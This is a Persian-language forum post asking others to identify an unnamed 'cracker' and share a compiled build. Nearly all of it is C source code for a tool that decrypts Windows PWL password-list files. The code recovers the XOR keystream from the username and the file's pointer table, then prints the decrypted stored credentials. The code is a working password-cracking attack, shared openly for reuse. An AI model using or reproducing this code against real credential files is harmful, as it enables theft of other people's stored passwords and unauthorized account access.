SpareNet Servers Advertising & Link Exchange

اطلاعیه

بستن
هیچ اطلاعیه ای هنوز ایجاد نشده است .

Unknown Type Cracker Source Code

بستن
X
 
  • فیلتر
  • زمان
  • نمایش
پاک کردن همه
نوشته‌های جدید

  • Unknown Type Cracker Source Code

    سلام دوستان. . .

    خواستم بروبچه های تیم برنامه نویسی یه بررسی بکنن ببینن این سورس کد مال کدوم کرکر هست و چه روشهایی از کرک رو انجام میده ...:106:

    در ضمن برنامه کامپایل شده ش رو هم بزاره . . .

    ممــــــــــنـــــــــــــــون:103:
    کد:
    #include <stdio.h>
    
    #include <string.h>
    
    #include <process.h>
    
    #include <stdlib.h>
    
    #include <ctype.h>
    
    #include <conio.h>
    
    
    
    unsigned char huge Data[100001];
    
    unsigned char keystream[1001];
    
    int Rpoint[300];
    
    
    
    void main (int argc,char *argv[]) {
    
    	FILE *fd;
    
    	int 	i,j,k;
    
    	int	size;
    
    	char ch;
    
    	char *name;
    
    	int cracked;
    
    	int sizemask;
    
    	int maxr;
    
    	int rsz;
    
    	int pos;
    
    	int Rall[300]; /* recource allocation table */
    
    
    
    
    
    	if (argc<2) {
    
    		printf("usage: glide filename (username)");
    
    		exit(1);
    
    	}
    
    
    
    	/* read PWL file */
    
    
    
    	fd=fopen(argv[1],"rb");
    
    	if(fd==NULL) {
    
    		printf("can't open file %s",argv[1]);
    
    		exit(1);
    
    	}
    
    	size=0;
    
    	while(!feof(fd)) {
    
    		Data[size++]=fgetc(fd);
    
    	}
    
    	size--;
    
    	fclose(fd);
    
    
    
    	/* find username */
    
    	name=argv[1];
    
    	if(argc>2) name=argv[2];
    
    	printf("Username: %s\n",name);
    
    
    
    	/* copy encrypted text into keystream */
    
    	cracked=size-0x0208;
    
    	if(cracked<0) cracked=0;
    
    	if(cracked>1000) cracked=1000;
    
    	memcpy(keystream,Data+0x208,cracked );
    
    
    
    	/* generate 20 bytes of keystream */
    
    	for(i=0;i<20;i++) {
    
    		ch=toupper(name[i]);
    
    		if(ch==0) break;
    
    		if(ch=='.') break;
    
    		keystream[i]^=ch;
    
    	};
    
    	cracked=20;
    
    
    
    
    
    	/* find allocated recources */
    
    
    
    	sizemask=keystream[0]+(keystream[1]<<8);
    
    	printf("Sizemask: %04X\n",sizemask);
    
    
    
    	for(i=0;i<256;i++) Rall[i]=0;
    
    
    
    	maxr=0;
    
    	for(i=0x108;i<0x208;i++) {
    
    		if(Data[i]!=0xff) {
    
    			Rall[Data[i]]++;
    
    			if (Data[i]>maxr) maxr=Data[i];
    
    		}
    
    	}
    
    	maxr=(((maxr/16)+1)*16);	/* recource pointer table size appears to be divisable by 
    
    16 */
    
    
    
    	/* search after recources */
    
    
    
    	Rpoint[0]=0x0208+2*maxr+20+2;	/* first recource */
    
    	for(i=0;i<maxr;i++) {
    
    		/* find size of current recource */
    
    		pos=Rpoint[i];
    
    		rsz=Data[pos]+(Data[pos+1]<<8);
    
    		rsz^=sizemask;
    
    		printf("Analyzing block with size: %04x\t(%d:%d)\n",rsz,i,Rall[i]);
    
    		if( (Rall[i]==0) && (rsz!=0) ) {
    
    			printf("unused resource has nonzero size !!!\n");
    
    			printf("If last line produced any : You may try to recover\n");
    
    			printf("press y to attempt recovery\n");
    
    			ch=getch();
    
    			if(ch!='y') exit(0);
    
    			rsz=2;
    
    			i-=1;
    
    		}
    
    
    
    		pos+=rsz;
    
    
    
    		/* Resources have a tendency to have the wrong size for some reason */
    
    		/* check for correct size */
    
    
    
    		if(i<maxr-1) {
    
    			while(Data[pos+3]!=keystream[1]) {
    
    				printf(":",Data[pos+3]);
    
    				pos+=2; /* very rude may fail */
    
    			}
    
    		}
    
    
    
    		pos+=2;	/* include pointer in size */
    
    		Rpoint[i+1]=pos;
    
    	}
    
    	Rpoint[maxr]=size;
    
    
    
    	/* insert Table data into keystream */
    
    	for(i=0;i <= maxr;i++) {
    
    		keystream[20+2*i]^=Rpoint[i] & 0x00ff;
    
    		keystream[21+2*i]^=(Rpoint[i] >> 8) & 0x00ff;
    
    	}
    
    	cracked+=maxr*2+2;
    
    
    
    	printf("%d bytes of keystream recovered\n",cracked);
    
    
    
    	/* decrypt resources */
    
    	for(i=0;i < maxr;i++) {
    
    		rsz=Rpoint[i+1]-Rpoint[i];
    
    		if (rsz>cracked) rsz=cracked;
    
    		printf("Recource[%d] (%d)\n",i,rsz);
    
    		for(j=0;j<rsz;j++) printf("%c",Data[Rpoint[i]+j]^keystream[j]);
    
    		printf("\n");
    
    	}
    
    
    
    
    
    	exit(0);
    
    }
    نام کاربری و فعالیت مجدد به 3cure تعلق و تغییر یافت...
صبر کنید ..
X